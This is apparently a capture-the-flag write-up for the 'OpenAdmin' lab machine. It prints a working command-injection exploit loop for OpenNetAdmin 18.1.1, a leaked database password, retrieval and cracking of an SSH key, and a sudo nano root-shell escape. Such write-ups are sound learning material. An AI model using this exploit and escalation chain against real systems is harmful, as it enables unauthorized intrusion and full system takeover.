It’s never too late to start

OpenAdmin starts off by finding an instance of OpenNetAdmin. This application is known to be vulnerable to a remote code execution, which then leveraged to gain a foothold on the system. Enumerating inside the machine reveals a database password that is reused by one of the users. This user has access to internal web which can be exploited to obtain the SSH key of another user. The second user is allowed to run a nano editor with sudo privileges, and this can be abused to gain root access.

Skills Learned

  • Exploitation of OpenNetAdmin 18.1.1
  • Sudo exploitation on nano.




→ root@iamf «openadmin» «»
$ nmap -sV -sC -oA OpenAdmin '' -v
  • -sC, to scan with default script
  • -sV, to scan service version
  • -oA, to save the output to all formats
  • -v, verbose mode
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 4b:98:df:85:d1:7e:f0:3d:da:48:cd:bc:92:00:b7:54 (RSA)
|   256 dc:eb:3d:c9:44:d1:18:b1:22:b4:cf:de:bd:6c:7a:54 (ECDSA)
|_  256 dc:ad:ca:3c:11:31:5b:6f:e6:a4:89:34:7c:9b:e5:50 (ED25519)
80/tcp open  http    Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Apache2 Ubuntu Default Page: It works
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

From the scan results, nmap found two open ports:

  • An SSH service running on port 22
  • An HTTP service running on port 80

As SSH usually requires valid credentials and there’s is no straight exploit yet, hence further enumeration is needed.


TCP  80 - Website

Visiting the standard http port only displays the Apache default page.


Directory Brute Force - dirb

Running dirb against the web successfully discovered a few hidden paths.

→ root@iamf «openadmin» «»
$ dirb /usr/share/wordlists/dirb/common.txt -r
---- Scanning URL: ----
==> DIRECTORY: http:/
+ (CODE:200|SIZE:278)


Nothing here.



The /music home page provides a login menu that points to http://openadmin.htb/ona



Visiting /ona/ brings me to an instance of OpenNetAdmin. It is a software for managing network related things.


There’s a warning on the page. It’s complaining about not running the latest version compared to the one currently in use (v18.1.1)


Shell as www-data

OpenNetAdmin 18.1.1 RCE

Based on the version above, a quick search on exploit-db shows that the current instance of OpenNetAdmin is vulnerable to a remote code execution. The exploit PoC source code is as follows:


while true;do
 echo -n "$ "; read cmd
 curl --silent -d "xajax=window_submit&xajaxr=1574117726710&xajaxargs[]=tooltips&xajaxargs[]=ip%3D%3E;echo \"BEGIN\";${cmd};echo \"END\"&xajaxargs[]=ping" "${URL}" | sed -n -e '/BEGIN/,/END/ p' | tail -n +2 | head -n -1

I saved the exploit to a file called I ran the exploit and it resulted in a shell access as www-data

→ kali@kali «openadmin» «» 
$ ./
$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ hostname
$ ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet scope host lo
       valid_lft forever preferred_lft forever
    inet6 ::1/128 scope host 
       valid_lft forever preferred_lft forever
2: ens160: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc mq state UP group default qlen 1000
    link/ether 00:50:56:b9:72:3a brd ff:ff:ff:ff:ff:ff
    inet brd scope global ens160
       valid_lft forever preferred_lft forever
    inet6 dead:beef::250:56ff:feb9:723a/64 scope global dynamic mngtmpaddr 
       valid_lft 86350sec preferred_lft 14350sec
    inet6 fe80::250:56ff:feb9:723a/64 scope link 
       valid_lft forever preferred_lft forever

Privilege Escalation

Shell as jimmy


Upon enumerating the current working directory, a database credential is found in ./local/config/

$ cat ./local/config/

$ona_contexts=array (
  'DEFAULT' => 
  array (
    'databases' => 
    array (
      0 => 
      array (
        'db_type' => 'mysqli',
        'db_host' => 'localhost',
        'db_login' => 'ona_sys',
        'db_passwd' => 'n1nj4W4rri0R!',
        'db_database' => 'ona_default',
        'db_debug' => false,
    'description' => 'Default data context',
    'context_color' => '#D3DBFF',

SSH access

The password worked for user jimmy, but the user flag can not be found in jimmy’s home directory.


Shell as joanna


The find command is issued again to search files that is accessible or owned by user jimmy.

jimmy@openadmin:~$ find / -type f -user jimmy 2>/dev/null


It successfully reveals that user jimmy has access to files in /var/www/internal/.

Based on apache config, /var/www/internal is currently hosted locally on port 52846.

jimmy@openadmin:~$ cat /etc/apache2/sites-enabled/internal.conf 

    ServerName internal.openadmin.htb
    DocumentRoot /var/www/internal

<IfModule mpm_itk_module>
AssignUserID joanna joanna

    ErrorLog ${APACHE_LOG_DIR}/error.log
    CustomLog ${APACHE_LOG_DIR}/access.log combined


Code review - Improper redirection

After inspecting the main.php source code from /var/www/internal/, a logic flaw was found on the first line.

jimmy@openadmin:/var/www/internal/$ cat main.php

<?php session_start(); if (!isset ($_SESSION['username'])) { header("Location: /index.php"); }; 
# Open Admin Trusted
# OpenAdmin
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";
<h3>Don't forget your "ninja" password</h3>
Click here to logout <a href="logout.php" tite = "Logout">Session

This line code has an improper redirection.

<?php session_start(); 
	if (!isset ($_SESSION['username'])) { 
		header("Location: /index.php"); 
        # `die();` or `exit();` function should be called here.
$output = shell_exec('cat /home/joanna/.ssh/id_rsa');
echo "<pre>$output</pre>";

The code above checks users' sessions but it’s not complete yet because the die() or exit() function is missing, so the rest of the code below will be executed as well. Therefore, sending a normal request with curl (default without -L option) will prevent the page from redirection and then it renders joanna’s SSH key.

jimmy@openadmin:~$ curl -s


Password cracking

The private key is encrypted with a password. JtR can be used to crack an encrypted SSH key, but first, it must be converted to the hash form and this can be done by using

→ root@iamf «openadmin» «»
$ python joanna_rsa > joanna_rsa.hash

The password was successfully cracked within 17s. The cracking process is performed on my Windows machine.

C:\> john.exe user2.txt --wordlist=rockyou.txz


SSH access

Now I’m able to login as user joanna via SSH.

→ root@iamf «openadmin» «»
$ ssh -i joanna_rsa joanna@


The user flag is done here.

Shell as root

Abusing sudo nano

User joanna has sudo privileges on /bin/nano

On linux boxes, whenever you own a valid user password, always check sudo -l !

joanna@openadmin:~$ sudo -l
Matching Defaults entries for joanna on openadmin:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User joanna may run the following commands on openadmin:
    (ALL) NOPASSWD: /bin/nano /opt/priv

A quick way to read the root flag is by issuing the command below,

joanna@openadmin:~$ sudo /bin/nano /opt/priv

and then hit CTRL + R to open a file, this allows us to read the root flag at /root/root.txt


To gain root shell, I’ll follow the instruction from GTFOBins page:

joanna@openadmin:~$ sudo /bin/nano /opt/priv # Opening nano as root
^R^X # CTRL+R (read/open file), CTRL+X(execute command)
reset; sh 1>&0 2>&0 # Escape from nano